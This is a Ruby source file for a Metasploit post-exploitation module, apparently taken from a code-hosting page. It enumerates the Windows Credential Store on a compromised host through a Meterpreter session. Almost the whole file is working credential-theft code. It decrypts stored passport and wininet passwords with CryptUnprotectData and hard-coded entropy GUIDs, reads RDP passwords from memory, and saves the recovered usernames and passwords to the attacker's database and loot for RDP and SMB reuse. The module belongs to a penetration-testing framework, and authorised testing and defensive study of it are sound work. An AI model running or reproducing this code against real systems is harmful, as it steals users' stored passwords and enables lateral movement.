304 lines
8.7 KiB
Ruby
304 lines
8.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Gather Credential Store Enumeration and Decryption Module',
|
|
'Description' => %q{
|
|
This module will enumerate the Microsoft Credential Store and decrypt the
|
|
credentials. This module can only access credentials created by the user the
|
|
process is running as. It cannot decrypt Domain Network Passwords, but will
|
|
display the username and location.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Kx499'],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_net_resolve_host
|
|
stdapi_railgun_api
|
|
stdapi_sys_process_attach
|
|
stdapi_sys_process_get_processes
|
|
stdapi_sys_process_memory_allocate
|
|
stdapi_sys_process_memory_read
|
|
stdapi_sys_process_memory_write
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
#############################
|
|
# RAILGUN HELPER FUNCTIONS
|
|
############################
|
|
def is_86
|
|
if @is_86_check.nil?
|
|
pid = session.sys.process.open.pid
|
|
@is_86_check = session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
|
|
end
|
|
|
|
@is_86_check
|
|
end
|
|
|
|
def pack_add(data)
|
|
if is_86
|
|
addr = [data].pack('V')
|
|
else
|
|
addr = [data].pack('Q<')
|
|
end
|
|
return addr
|
|
end
|
|
|
|
def mem_write(data, length)
|
|
pid = session.sys.process.open.pid
|
|
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
mem = process.memory.allocate(length)
|
|
process.memory.write(mem, data)
|
|
return mem
|
|
end
|
|
|
|
def read_str(address, len, type)
|
|
begin
|
|
pid = session.sys.process.open.pid
|
|
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
raw = process.memory.read(address, len)
|
|
if type == 0 # unicode
|
|
str_data = raw.gsub("\x00", '')
|
|
elsif type == 1 # null terminated
|
|
str_data = raw.unpack('Z*')[0]
|
|
elsif type == 2 # raw data
|
|
str_data = raw
|
|
end
|
|
rescue StandardError
|
|
str_data = nil
|
|
end
|
|
return str_data || 'Error Decrypting'
|
|
end
|
|
|
|
def decrypt_blob(daddr, dlen, type)
|
|
# type 0 = passport cred, type 1 = wininet cred
|
|
# set up entropy
|
|
c32 = session.railgun.crypt32
|
|
guid = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0' if type == 0
|
|
guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7' if type == 1
|
|
ent_sz = 74
|
|
salt = []
|
|
guid.each_byte do |c|
|
|
salt << c * 4
|
|
end
|
|
ent = salt.pack('s*')
|
|
|
|
# write entropy to memory
|
|
mem = mem_write(ent, 1024)
|
|
|
|
# prep vars and call function
|
|
addr = pack_add(daddr)
|
|
len = pack_add(dlen)
|
|
eaddr = pack_add(mem)
|
|
elen = pack_add(ent_sz)
|
|
|
|
if is_86
|
|
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
|
|
len, add = ret['pDataOut'].unpack('V2')
|
|
else
|
|
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
|
|
len, add = ret['pDataOut'].unpack('Q<2')
|
|
end
|
|
|
|
# get data, and return it
|
|
return '' unless ret['return']
|
|
|
|
return read_str(add, len, 0)
|
|
end
|
|
|
|
def gethost(hostorip)
|
|
# check for valid ip and return if it is
|
|
return hostorip if Rex::Socket.dotted_ip?(hostorip)
|
|
|
|
## get IP for host
|
|
vprint_status("Looking up IP for #{hostorip}")
|
|
result = client.net.resolve.resolve_host(hostorip)
|
|
return result[:ip] if result[:ip]
|
|
return nil if result[:ip].nil? || result[:ip].empty?
|
|
end
|
|
|
|
def report_db(cred)
|
|
ip_add = nil
|
|
host = ''
|
|
port = 0
|
|
begin
|
|
if cred['targetname'].include? 'TERMSRV'
|
|
host = cred['targetname'].gsub('TERMSRV/', '')
|
|
port = 3389
|
|
service = 'rdp'
|
|
elsif cred['type'] == 2
|
|
host = cred['targetname']
|
|
port = 445
|
|
service = 'smb'
|
|
else
|
|
return false
|
|
end
|
|
|
|
ip_add = gethost(host)
|
|
|
|
if ip_add.nil?
|
|
return
|
|
else
|
|
service_data = {
|
|
address: ip_add,
|
|
port: port,
|
|
protocol: 'tcp',
|
|
service_name: service,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: refname,
|
|
username: cred['username'],
|
|
private_data: cred['password'],
|
|
private_type: :password
|
|
}
|
|
|
|
credential_core = create_credential(credential_data.merge(service_data))
|
|
|
|
login_data = {
|
|
core: credential_core,
|
|
access_level: 'User',
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}
|
|
|
|
create_credential_login(login_data.merge(service_data))
|
|
print_status("Credentials for #{ip_add} added to db")
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error adding credential to database for #{cred['targetname']}")
|
|
print_error(e.to_s)
|
|
end
|
|
end
|
|
|
|
def get_creds
|
|
credentials = []
|
|
# call credenumerate to get the ptr needed
|
|
adv32 = session.railgun.advapi32
|
|
begin
|
|
ret = adv32.CredEnumerateA(nil, 0, 4, 4)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error('This module requires WinXP or higher')
|
|
print_error("CredEnumerateA() failed: #{e.class} #{e}")
|
|
ret = nil
|
|
end
|
|
if ret.nil?
|
|
count = 0
|
|
arr_len = 0
|
|
else
|
|
p_to_arr = ret['Credentials'].unpack('V')
|
|
if is_86
|
|
count = ret['Count']
|
|
arr_len = count * 4
|
|
else
|
|
count = ret['Count'] & 0x00000000ffffffff
|
|
arr_len = count * 8
|
|
end
|
|
end
|
|
|
|
# tell user what's going on
|
|
print_status("#{count} credentials found in the Credential Store")
|
|
return credentials unless arr_len > 0
|
|
|
|
if count > 0
|
|
print_status('Decrypting each set of credentials, this may take a minute...')
|
|
|
|
# read array of addresses as pointers to each structure
|
|
raw = read_str(p_to_arr[0], arr_len, 2)
|
|
pcred_array = raw.unpack('V*') if is_86
|
|
pcred_array = raw.unpack('Q<*') unless is_86
|
|
|
|
# loop through the addresses and read each credential structure
|
|
pcred_array.each do |pcred|
|
|
cred = {}
|
|
if is_86
|
|
raw = read_str(pcred, 52, 2)
|
|
else
|
|
raw = read_str(pcred, 80, 2)
|
|
end
|
|
|
|
cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
|
|
cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86
|
|
cred['flags'] = cred_struct[0]
|
|
cred['type'] = cred_struct[1]
|
|
cred['targetname'] = read_str(cred_struct[2], 512, 1)
|
|
cred['comment'] = read_str(cred_struct[3], 256, 1)
|
|
cred['lastdt'] = cred_struct[4]
|
|
cred['persist'] = cred_struct[7]
|
|
cred['attribcnt'] = cred_struct[8]
|
|
cred['pattrib'] = cred_struct[9]
|
|
cred['targetalias'] = read_str(cred_struct[10], 256, 1)
|
|
cred['username'] = read_str(cred_struct[11], 513, 1)
|
|
|
|
if cred['targetname'].include?('TERMSRV')
|
|
cred['password'] = read_str(cred_struct[6], cred_struct[5], 0)
|
|
elsif cred['type'] == 1
|
|
decrypted = decrypt_blob(cred_struct[6], cred_struct[5], 1)
|
|
cred['username'] = decrypted.split(':')[0] || 'No Data'
|
|
cred['password'] = decrypted.split(':')[1] || 'No Data'
|
|
elsif cred['type'] == 4
|
|
cred['password'] = decrypt_blob(cred_struct[6], cred_struct[5], 0)
|
|
else
|
|
cred['password'] = 'unsupported type'
|
|
end
|
|
|
|
# only add to array if there is a target name
|
|
unless (cred['targetname'] == 'Error Decrypting') || (cred['password'] == 'unsupported type')
|
|
print_status("Credential sucessfully decrypted for: #{cred['targetname']}")
|
|
credentials << cred
|
|
end
|
|
end
|
|
else
|
|
print_status('No Credential are available for decryption')
|
|
end
|
|
return credentials
|
|
end
|
|
|
|
def run
|
|
creds = get_creds
|
|
# store all data to loot if data returned
|
|
if !creds.empty?
|
|
creds.each do |cred|
|
|
credstr = "\t Type: "
|
|
credstr << cred['type'].to_s
|
|
credstr << ' User: '
|
|
credstr << cred['username']
|
|
credstr << ' Password: '
|
|
credstr << cred['password']
|
|
print_good(cred['targetname'])
|
|
print_line(credstr)
|
|
# store specific creds to db
|
|
report_db(cred)
|
|
print_line('')
|
|
end
|
|
|
|
print_status('Writing all data to loot...')
|
|
path = store_loot(
|
|
'credstore.user.creds',
|
|
'text/plain',
|
|
session,
|
|
creds,
|
|
'credstore_user_creds.txt',
|
|
'Microsoft Credential Store Contents'
|
|
)
|
|
print_good("Data saved in: #{path}")
|
|
end
|
|
end
|
|
end
|